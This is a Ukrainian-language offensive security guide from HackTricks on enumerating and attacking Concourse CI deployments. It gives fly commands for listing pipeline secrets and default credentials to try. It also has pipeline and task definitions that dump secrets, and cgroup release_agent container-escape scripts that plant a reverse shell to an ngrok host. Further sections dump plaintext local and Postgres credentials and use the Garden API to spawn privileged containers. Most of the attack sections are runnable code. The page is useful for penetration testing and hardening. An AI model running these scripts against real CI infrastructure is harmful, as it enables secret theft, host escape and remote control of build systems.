Concourse Enumeration & Attacks
Reading time: 15 minutes
Concourse Enumeration & Attacks
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
User Roles & Permissions
Concourse має п'ять ролей:
- Concourse Admin: Ця роль надається лише власникам головної команди (за замовчуванням початкова команда concourse). Адміністратори можуть конфігурувати інші команди (наприклад:
fly set-team
,fly destroy-team
...). Дозволи цієї ролі не можуть бути змінені за допомогою RBAC. - owner: Власники команди можуть змінювати все в межах команди.
- member: Члени команди можуть читати та писати в межах ресурсів команди, але не можуть змінювати налаштування команди.
- pipeline-operator: Оператори конвеєра можуть виконувати операції конвеєра, такі як запуск збірок і закріплення ресурсів, однак вони не можуть оновлювати конфігурації конвеєра.
- viewer: Переглядачі команди мають доступ "тільки для читання" до команди та її конвеєрів.
note
Більше того, дозволи ролей owner, member, pipeline-operator та viewer можуть бути змінені шляхом налаштування RBAC (більш конкретно, його дій). Читайте більше про це за адресою: https://concourse-ci.org/user-roles.html
Зверніть увагу, що Concourse групує конвеєри всередині команд. Тому користувачі, які належать до команди, зможуть керувати цими конвеєрами, і може існувати кілька команд. Користувач може належати до кількох команд і мати різні дозволи в кожній з них.
Vars & Credential Manager
У YAML конфігураціях ви можете налаштувати значення, використовуючи синтаксис ((_source-name_:_secret-path_._secret-field_))
.
З документації: source-name є необов'язковим, і якщо його пропустити, буде використано менеджер облікових даних на рівні кластера, або значення може бути надано статично.
Необов'язкове _secret-field_ вказує на поле у отриманому секреті для читання. Якщо його пропустити, менеджер облікових даних може вибрати для читання 'поле за замовчуванням' з отриманих облікових даних, якщо таке поле існує.
Більше того, secret-path та secret-field можуть бути оточені подвійними лапками "..."
, якщо вони містять спеціальні символи такі як .
та :
. Наприклад, ((source:"my.secret"."field:1"))
встановить secret-path на my.secret
і secret-field на field:1
.
Static Vars
Статичні змінні можуть бути вказані в кроках завдань:
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
Або використовуючи наступні fly
аргументи:
-v
або--var
NAME=VALUE
встановлює рядокVALUE
як значення для змінноїNAME
.-y
або--yaml-var
NAME=VALUE
парситьVALUE
як YAML і встановлює його як значення для змінноїNAME
.-i
або--instance-var
NAME=VALUE
парситьVALUE
як YAML і встановлює його як значення для змінної екземпляраNAME
. Дивіться Групування конвеєрів, щоб дізнатися більше про змінні екземпляра.-l
або--load-vars-from
FILE
завантажуєFILE
, YAML документ, що містить відповідність імен змінних до значень, і встановлює їх усі.
Управління обліковими даними
Існують різні способи, як менеджер облікових даних може бути вказаний в конвеєрі, читайте як в https://concourse-ci.org/creds.html.
Більше того, Concourse підтримує різні менеджери облікових даних:
- Менеджер облікових даних Vault
- Менеджер облікових даних CredHub
- Менеджер облікових даних AWS SSM
- Менеджер облікових даних AWS Secrets Manager
- Менеджер облікових даних Kubernetes
- Менеджер облікових даних Conjur
- Кешування облікових даних
- Редагування облікових даних
- Повторна спроба невдалих запитів
caution
Зверніть увагу, що якщо у вас є якийсь вид доступу на запис до Concourse, ви можете створювати завдання для екстракції цих секретів, оскільки Concourse повинен мати можливість отримувати до них доступ.
Перерахування Concourse
Щоб перерахувати середовище concourse, спочатку потрібно зібрати дійсні облікові дані або знайти авторизований токен, ймовірно, в конфігураційному файлі .flyrc
.
Вхід та перерахування поточного користувача
- Щоб увійти, вам потрібно знати кінцеву точку, ім'я команди (за замовчуванням
main
) та команду, до якої належить користувач: fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]
- Отримати налаштовані цілі:
fly targets
- Перевірити, чи налаштоване з'єднання з ціллю все ще дійсне:
fly -t <target> status
- Отримати роль користувача щодо вказаної цілі:
fly -t <target> userinfo
note
Зверніть увагу, що API токен за замовчуванням зберігається в $HOME/.flyrc
, ви, обшукуючи машини, можете знайти там облікові дані.
Команди та користувачі
- Отримати список команд
fly -t <target> teams
- Отримати ролі в команді
fly -t <target> get-team -n <team-name>
- Отримати список користувачів
fly -t <target> active-users
Конвеєри
- Список конвеєрів:
fly -t <target> pipelines -a
- Отримати yaml конвеєра (чутлива інформація може бути знайдена в визначенні):
fly -t <target> get-pipeline -p <pipeline-name>
- Отримати всі змінні конфігурації конвеєра:
for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done
- Отримати всі імена секретів конвеєра, що використовуються (якщо ви можете створити/змінити завдання або захопити контейнер, ви можете їх екстрактувати):
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
Контейнери та Робітники
- Список робітників:
fly -t <target> workers
- Список контейнерів:
fly -t <target> containers
- Список збірок (щоб побачити, що виконується):
fly -t <target> builds
Атаки на Concourse
Брутфорс облікових даних
- admin:admin
- test:test
Перерахування секретів та параметрів
У попередньому розділі ми бачили, як ви можете отримати всі назви та змінні секретів, які використовуються в конвеєрі. Змінні можуть містити чутливу інформацію, а назва секретів буде корисною пізніше для спроби їх вкрасти.
Сесія всередині запущеного або нещодавно запущеного контейнера
Якщо у вас достатньо привілеїв (роль учасника або більше), ви зможете перелічити конвеєри та ролі і просто отримати сесію всередині контейнера <pipeline>/<job>
за допомогою:
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
З цими правами ви можете:
- Вкрасти секрети всередині контейнера
- Спробувати втекти на вузол
- Перерахувати/Зловживати інтерфейсом метаданих хмари (з пода та з вузла, якщо це можливо)
Створення/Модифікація конвеєра
Якщо у вас достатньо привілеїв (роль учасника або більше), ви зможете створювати/модифікувати нові конвеєри. Перевірте цей приклад:
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
З модифікацією/створенням нового конвеєра ви зможете:
- Вкрасти секрети (через їх виведення або зайшовши в контейнер і запустивши
env
) - Вийти на вузол (надавши вам достатні привілеї -
privileged: true
) - Перерахувати/Зловживати метаданими хмари (з пода та з вузла)
- Видалити створений конвеєр
Виконати Користувацьке Завдання
Це схоже на попередній метод, але замість модифікації/створення цілого нового конвеєра ви можете просто виконати користувацьке завдання (що, ймовірно, буде набагато прихованішим):
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml
Втеча до вузла з привілейованого завдання
У попередніх розділах ми бачили, як виконати привілейоване завдання з concourse. Це не надасть контейнеру точно такого ж доступу, як привілейований прапор у контейнері docker. Наприклад, ви не побачите пристрій файлової системи вузла в /dev, тому втеча може бути більш "складною".
У наступному PoC ми будемо використовувати release_agent для втечі з деякими невеликими модифікаціями:
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"
## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)
## Then next part I think is constant "hostpath-provisioner/default/"
## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)
## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for
# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
warning
Як ви, можливо, помітили, це просто регулярний escape release_agent, просто модифікуючи шлях до cmd у вузлі
Втеча до вузла з контейнера Worker
Регулярний escape release_agent з незначною модифікацією достатній для цього:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Втеча до вузла з веб-контейнера
Навіть якщо веб-контейнер має деякі засоби захисту вимкненими, він не працює як звичайний привілейований контейнер (наприклад, ви не можете монтувати і можливості дуже обмежені, тому всі прості способи втечі з контейнера марні).
Однак він зберігає локальні облікові дані у відкритому вигляді:
cat /concourse-auth/local-users
test:test
env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
Ви можете використовувати ці облікові дані для входу на веб-сервер та створення привілейованого контейнера і втечі до вузла.
У середовищі ви також можете знайти інформацію для доступу до постgresql екземпляра, який використовує concourse (адреса, ім'я користувача, пароль та база даних серед іншої інформації):
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]
# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
Зловживання Garden Service - Не справжня атака
warning
Це лише деякі цікаві нотатки про сервіс, але оскільки він слухає лише на localhost, ці нотатки не матимуть жодного впливу, який ми ще не експлуатували раніше
За замовчуванням кожен concourse worker буде запускати сервіс Garden на порту 7777. Цей сервіс використовується веб-майстром для вказівки worker що йому потрібно виконати (завантажити зображення та виконати кожне завдання). Це звучить досить добре для зловмисника, але є деякі хороші захисти:
- Він виключно локальний (127..0.0.1), і я думаю, що коли worker аутентифікується проти вебу за допомогою спеціального SSH-сервісу, створюється тунель, щоб веб-сервер міг спілкуватися з кожним Garden service всередині кожного worker.
- Веб-сервер моніторить запущені контейнери кожні кілька секунд, і неочікувані контейнери видаляються. Тож якщо ви хочете запустити власний контейнер, вам потрібно втрутитися в зв'язок між веб-сервером і garden service.
Concourse workers працюють з високими привілеями контейнера:
Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
Однак, такі техніки, як монтування пристрою /dev вузла або release_agent не спрацюють (оскільки реальний пристрій з файловою системою вузла недоступний, лише віртуальний). Ми не можемо отримати доступ до процесів вузла, тому втеча з вузла без експлойтів ядра ускладнюється.
note
У попередньому розділі ми бачили, як втекти з привілейованого контейнера, тому якщо ми можемо виконувати команди в привілейованому контейнері, створеному поточним робітником, ми могли б втекти до вузла.
Зверніть увагу, що граючи з concourse, я помітив, що коли новий контейнер створюється для виконання чогось, процеси контейнера доступні з контейнера робітника, тому це як контейнер, що створює новий контейнер всередині нього.
Отримання доступу до запущеного привілейованого контейнера
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
Створення нового привілейованого контейнера
Ви можете дуже легко створити новий контейнер (просто запустіть випадковий UID) і виконати щось на ньому:
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
Однак веб-сервер перевіряє кожні кілька секунд контейнери, які працюють, і якщо буде виявлено несподіваний, він буде видалений. Оскільки зв'язок відбувається по HTTP, ви можете підробити зв'язок, щоб уникнути видалення несподіваних контейнерів:
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.
T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
Посилання
- https://concourse-ci.org/vars.html
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.